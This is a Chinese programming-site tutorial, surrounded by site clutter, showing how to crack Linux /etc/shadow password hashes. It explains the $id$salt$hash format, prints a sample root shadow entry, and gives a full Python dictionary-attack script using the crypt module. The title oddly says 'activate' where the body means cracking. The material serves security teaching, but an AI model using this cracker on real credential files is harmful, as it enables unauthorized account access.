我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Python脚本激活Linux密码的方法(crypt模块)

短信预约 信息系统项目管理师 报名、考试、查分时间动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Python脚本激活Linux密码的方法(crypt模块)

环境 Kali Linux ,python版本2.7.13 。

我们利用Linux系统中的 crypt 模块模拟了Linux系统中用户密码的加密,在Windows中是不存在这个库的。

在Linux系统中,用户的密码被加密存储在了 /etc/shadow 文件中。

如下是 /etc/shadow中root用户的字段

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

第二个字段是密码部分的,我们把它单独拿出来

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密码部分的格式为:$id$salt$encrypted  

  • id是指用的哈希算法,id为1是MD5,id为5是SHA-256,id为6是SHA-512
  • salt 为盐值
  • encrypted 为hash值,这里的hash值是密码和盐值一起加密之后得到的

在了解了shadow 文件中密码的加密方式之后,我们就可以开始编写python脚本了。

在编写之前,我们需要准备好密码字典文件 key.txt 。只有当密码字典足够大时,才有可能破解出密码。

然后我们将 /etc/shadow 文件复制到python脚本所在目录,修改文件名为 shadow.txt

在编写时,我们创建两个函数:main() 和 testPass() 。main() 函数打开 shadow.txt 文件中的内容,读取其中的用户名字段和密码字段cryptPass。testPass() 函数将密码字段中的 $id$salt 提取出来赋值给 salt 。然后读取 key.txt 中的密码字段,赋值给 word 。再利用Linux系统中python的一个crypt库,将word和salt一起作为参数传进去进行加密,得到 cryptWord 。最后将cryptWord和cryptPass进行对比,如果相等,则这个word就是该用户的密码,否则不是。


# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小谢
"""
import crypt   ##导入Linux口令加密库
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值,包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)                   ##将密码字典中的值和盐值一起加密
        if (cryptWord==cryptPass):                           ##判断加密后的数据和密码字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等则打印出来
            return 
    print "[-] Password Not Found.\n"
    return 
 
def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##读取文件中的所有内容
        if ":" in line:
            user=line.split(":")[0]                     ##获得用户名
            cryptPass=line.split(":")[1].strip(' ')   ##获得密码字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

脚本运行截图,破解出了用户tom和用户xie的密码。 

以上就是Python脚本激活Linux口令(crypt模块)的详细内容,更多关于python破解linux口令的资料请关注编程网其它相关文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Python脚本激活Linux密码的方法(crypt模块)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Python脚本激活Linux密码的方法(crypt模块)

环境 Kali Linux ,python版本2.7.13 。 我们利用Linux系统中的 crypt 模块模拟了Linux系统中用户密码的加密,在Windows中是不存在这个库的。在Linux系统中,用户的密码被加密存储在了 /etc/s
2022-06-02

Python工具脚本调用外层模块的操作方法

本文详细讲解了Python工具脚本调用外层模块的操作方法。通过导入语句,可以导入math等外部模块,并使用模块中的函数、类和变量。导入外部模块的方法包括直接导入和指定别名导入。另外,文章还介绍了导入本地模块、避免循环导入、处理导入错误和动态导入模块等高级技巧。最后以计算圆面积的示例演示了如何使用math模块。
Python工具脚本调用外层模块的操作方法
2024-04-02

编程热搜

目录